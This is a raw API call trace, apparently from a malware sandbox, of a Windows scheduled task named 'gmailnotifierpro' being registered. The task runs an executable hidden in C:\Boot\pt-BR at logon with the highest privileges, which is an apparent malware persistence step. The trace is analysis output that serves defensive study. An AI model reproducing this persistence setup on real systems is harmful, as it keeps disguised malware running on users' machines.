[0108.785] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ri|") returned 4 [0108.785] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.785] lstrlenW (lpString="|ri|") returned 4 [0108.785] lstrlenW (lpString="|f|") returned 3 [0108.785] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0108.785] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.785] lstrlenW (lpString="z") returned 1 [0108.785] lstrlenW (lpString="z") returned 1 [0108.785] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.785] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.785] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|z|") returned 3 [0108.785] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.785] lstrlenW (lpString="|z|") returned 3 [0108.785] lstrlenW (lpString="|f|") returned 3 [0108.785] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0108.785] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.785] lstrlenW (lpString="f") returned 1 [0108.785] lstrlenW (lpString="f") returned 1 [0108.785] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.785] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.785] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.785] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.785] lstrlenW (lpString="|f|") returned 3 [0108.785] lstrlenW (lpString="|f|") returned 3 [0108.785] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0108.785] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.785] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.786] GetProcessHeap () returned 0x208f92d0000 [0108.786] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92dba70 [0108.786] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.786] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0108.786] lstrlenW (lpString="LIMITED") returned 7 [0108.786] GetProcessHeap () returned 0x208f92d0000 [0108.786] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x10) returned 0x208f92dab00 [0108.786] GetThreadLocale () returned 0x409 [0108.786] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0108.786] GetProcessHeap () returned 0x208f92d0000 [0108.786] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db920 [0108.786] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.786] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0108.786] lstrlenW (lpString="HIGHEST") returned 7 [0108.786] GetProcessHeap () returned 0x208f92d0000 [0108.786] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x10) returned 0x208f92da9c0 [0108.786] GetThreadLocale () returned 0x409 [0108.786] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0108.786] GetProcessHeap () returned 0x208f92d0000 [0108.786] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db950 [0108.786] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.786] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0108.786] lstrlenW (lpString="MINUTE") returned 6 [0108.786] GetProcessHeap () returned 0x208f92d0000 [0108.786] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xe) returned 0x208f92daac0 [0108.786] GetThreadLocale () returned 0x409 [0108.786] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db9b0 [0108.787] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.787] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0108.787] lstrlenW (lpString="HOURLY") returned 6 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xe) returned 0x208f92daa80 [0108.787] GetThreadLocale () returned 0x409 [0108.787] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db4d0 [0108.787] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.787] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0108.787] lstrlenW (lpString="DAILY") returned 5 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xc) returned 0x208f92daaa0 [0108.787] GetThreadLocale () returned 0x409 [0108.787] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db740 [0108.787] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.787] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0108.787] lstrlenW (lpString="WEEKLY") returned 6 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xe) returned 0x208f92da960 [0108.787] GetThreadLocale () returned 0x409 [0108.787] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0108.787] GetProcessHeap () returned 0x208f92d0000 [0108.787] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db9e0 [0108.788] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.788] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0108.788] lstrlenW (lpString="MONTHLY") returned 7 [0108.788] GetProcessHeap () returned 0x208f92d0000 [0108.788] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x10) returned 0x208f92daba0 [0108.788] GetThreadLocale () returned 0x409 [0108.788] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0108.788] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.788] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0108.788] lstrlenW (lpString="ONCE") returned 4 [0108.788] GetProcessHeap () returned 0x208f92d0000 [0108.788] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xa) returned 0x208f92da9a0 [0108.788] GetThreadLocale () returned 0x409 [0108.788] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0108.788] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.788] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0108.788] lstrlenW (lpString="ONSTART") returned 7 [0108.788] GetThreadLocale () returned 0x409 [0108.788] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0108.788] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.788] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0108.788] lstrlenW (lpString="ONLOGON") returned 7 [0108.788] GetThreadLocale () returned 0x409 [0108.788] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0108.789] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.789] GetProcessHeap () returned 0x208f92d0000 [0108.789] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x1fc) returned 0x208f92dac80 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0108.789] lstrlenW (lpString="First") returned 5 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0108.789] lstrlenW (lpString="Second") returned 6 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0108.789] lstrlenW (lpString="Third") returned 5 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0108.789] lstrlenW (lpString="Fourth") returned 6 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0108.789] lstrlenW (lpString="Last") returned 4 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0108.789] lstrlenW (lpString="First") returned 5 [0108.789] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.789] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0108.790] lstrlenW (lpString="Second") returned 6 [0108.790] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.790] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0108.790] lstrlenW (lpString="Third") returned 5 [0108.790] GetProcessHeap () returned 0x208f92d0000 [0108.790] GetProcessHeap () returned 0x208f92d0000 [0108.790] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da9a0) returned 1 [0108.790] GetProcessHeap () returned 0x208f92d0000 [0108.790] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da9a0) returned 0xa [0108.790] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da9a0) returned 1 [0108.790] GetProcessHeap () returned 0x208f92d0000 [0108.790] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xc) returned 0x208f92da940 [0108.790] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.790] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0108.790] lstrlenW (lpString="Fourth") returned 6 [0108.790] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.790] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0108.790] lstrlenW (lpString="Last") returned 4 [0108.790] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13e077c170, cchData=128 | out: lpLCData="0") returned 2 [0108.790] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.790] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0108.791] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dab00) returned 1 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dab00) returned 0x10 [0108.791] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dab00) returned 1 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x16) returned 0x208f92da9e0 [0108.791] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13e077c190, cchData=128 | out: lpLCData="0") returned 2 [0108.791] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.791] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0108.791] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da9c0) returned 1 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da9c0) returned 0x10 [0108.791] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da9c0) returned 1 [0108.791] GetProcessHeap () returned 0x208f92d0000 [0108.791] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x16) returned 0x208f92dabc0 [0108.791] GetLocalTime (in: lpSystemTime=0x13e077c3c8 | out: lpSystemTime=0x13e077c3c8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x20, wMilliseconds=0x9f)) [0108.792] GetLocalTime (in: lpSystemTime=0x13e077cdb8 | out: lpSystemTime=0x13e077cdb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x20, wMilliseconds=0x9f)) [0108.792] lstrlenW (lpString="") returned 0 [0108.792] lstrlenW (lpString="") returned 0 [0108.792] lstrlenW (lpString="") returned 0 [0108.792] lstrlenW (lpString="") returned 0 [0108.792] lstrlenW (lpString="") returned 0 [0108.792] lstrlenW (lpString="") returned 0 [0108.792] lstrlenW (lpString="") returned 0 [0108.792] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0108.827] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0108.925] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13e077cb10 | out: ppv=0x13e077cb10*=0x208f9565700) returned 0x0 [0109.021] TaskScheduler:ITaskService:Connect (This=0x208f9565700, serverName=0x13e077cc00*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13e077cbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x13e077cbb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13e077cb90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0109.073] TaskScheduler:ITaskService:GetFolder (in: This=0x208f9565700, Path=0x0, ppFolder=0x13e077ccf0 | out: ppFolder=0x13e077ccf0*=0x208f9565880) returned 0x0 [0109.088] TaskScheduler:ITaskService:NewTask (in: This=0x208f9565700, flags=0x0, ppDefinition=0x13e077ccc8 | out: ppDefinition=0x13e077ccc8*=0x208f9565900) returned 0x0 [0109.089] ITaskDefinition:get_Actions (in: This=0x208f9565900, ppActions=0x13e077cc10 | out: ppActions=0x13e077cc10*=0x208f9565990) returned 0x0 [0109.089] IActionCollection:Create (in: This=0x208f9565990, Type=0, ppAction=0x13e077cc50 | out: ppAction=0x13e077cc50*=0x208f9565da0) returned 0x0 [0109.089] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.089] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.089] lstrlenW (lpString=" ") returned 1 [0109.089] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0109.089] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0109.089] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0109.089] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0109.090] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0109.091] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0109.091] IUnknown:Release (This=0x208f9565da0) returned 0x1 [0109.091] IUnknown:Release (This=0x208f9565990) returned 0x1 [0109.091] ITaskDefinition:get_Triggers (in: This=0x208f9565900, ppTriggers=0x13e077c7c0 | out: ppTriggers=0x13e077c7c0*=0x208f9565c50) returned 0x0 [0109.091] ITriggerCollection:Create (in: This=0x208f9565c50, Type=9, ppTrigger=0x13e077c7a8 | out: ppTrigger=0x13e077c7a8*=0x208f9565e10) returned 0x0 [0109.092] IUnknown:QueryInterface (in: This=0x208f9565e10, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x13e077c7a0 | out: ppvObject=0x13e077c7a0*=0x208f9565e10) returned 0x0 [0109.092] IUnknown:Release (This=0x208f9565e10) returned 0x2 [0109.092] _vsnwprintf (in: _Buffer=0x13e077c6f0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13e077c6c8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0109.092] ITrigger:put_StartBoundary (This=0x208f9565e10, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0109.092] lstrlenW (lpString="") returned 0 [0109.092] lstrlenW (lpString="") returned 0 [0109.092] lstrlenW (lpString="") returned 0 [0109.092] lstrlenW (lpString="") returned 0 [0109.093] IUnknown:Release (This=0x208f9565e10) returned 0x1 [0109.093] IUnknown:Release (This=0x208f9565c50) returned 0x1 [0109.093] ITaskDefinition:get_Settings (in: This=0x208f9565900, ppSettings=0x13e077cc50 | out: ppSettings=0x13e077cc50*=0x208f9565ad0) returned 0x0 [0109.093] lstrlenW (lpString="") returned 0 [0109.093] IUnknown:Release (This=0x208f9565ad0) returned 0x3 [0109.093] GetLocalTime (in: lpSystemTime=0x13e077cb08 | out: lpSystemTime=0x13e077cb08*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x20, wMilliseconds=0x1d7)) [0109.093] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0109.093] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x13e077cb20, nSize=0x13e077caf8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x13e077caf8) returned 0x1 [0109.094] ITaskDefinition:get_RegistrationInfo (in: This=0x208f9565900, ppRegistrationInfo=0x13e077caf0 | out: ppRegistrationInfo=0x13e077caf0*=0x208f9565a10) returned 0x0 [0109.094] IRegistrationInfo:put_Author (This=0x208f9565a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0109.094] _vsnwprintf (in: _Buffer=0x13e077cb20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13e077cab8 | out: _Buffer="2023-09-19T17:15:32") returned 19 [0109.094] IRegistrationInfo:put_Date (This=0x208f9565a10, Date="2023-09-19T17:15:32") returned 0x0 [0109.094] IUnknown:Release (This=0x208f9565a10) returned 0x1 [0109.095] malloc (_Size=0x18) returned 0x208f9565f30 [0109.095] free (_Block=0x208f9565f30) [0109.095] lstrlenW (lpString="") returned 0 [0109.095] ITaskDefinition:get_Principal (in: This=0x208f9565900, ppPrincipal=0x13e077ccb8 | out: ppPrincipal=0x13e077ccb8*=0x208f9565cc0) returned 0x0 [0109.095] IPrincipal:put_RunLevel (This=0x208f9565cc0, RunLevel=1) returned 0x0 [0109.095] IUnknown:Release (This=0x208f9565cc0) returned 0x1 [0109.095] malloc (_Size=0x18) returned 0x208f9565f30 [0109.095] ITaskFolder:RegisterTaskDefinition (in: This=0x208f9565880, Path="gmailnotifierpro", pDefinition=0x208f9565900, flags=6, UserId=0x13e077cd60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13e077cd40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x13e077cd80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13e077cd20 | out: ppTask=0x13e077cd20*=0x208f9566fd0) returned 0x0 [0109.229] free (_Block=0x208f9565f30) [0109.229] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.229] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0109.229] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0109.229] GetProcessHeap () returned 0x208f92d0000 [0109.229] GetProcessHeap () returned 0x208f92d0000 [0109.229] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daac0) returned 1 [0109.229] GetProcessHeap () returned 0x208f92d0000 [0109.229] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92daac0) returned 0xe [0109.229] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92daac0) returned 1 [0109.229] GetProcessHeap () returned 0x208f92d0000 [0109.229] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x82) returned 0x208f92f5920 [0109.229] _vsnwprintf (in: _Buffer=0x13e077d3d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13e077cc68 | out: _Buffer="SUCCESS: The scheduled task \"gmailnotifierpro\" has successfully been created.\n") returned 78 [0109.229] __iob_func () returned 0x7ffa7941e210 [0109.229] _fileno (_File=0x7ffa7941e240) returned -2 [0109.229] _errno () returned 0x208f9560840 [0109.230] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0109.230] RtlRestoreLastWin32Error () returned 0x13e0821000 [0109.230] lstrlenW (lpString="SUCCESS: The scheduled task \"gmailnotifierpro\" has successfully been created.\n") returned 78 [0109.230] GetConsoleOutputCP () returned 0x0 [0109.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"gmailnotifierpro\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0109.230] GetConsoleOutputCP () returned 0x0 [0109.230] WideCharToMultiByte 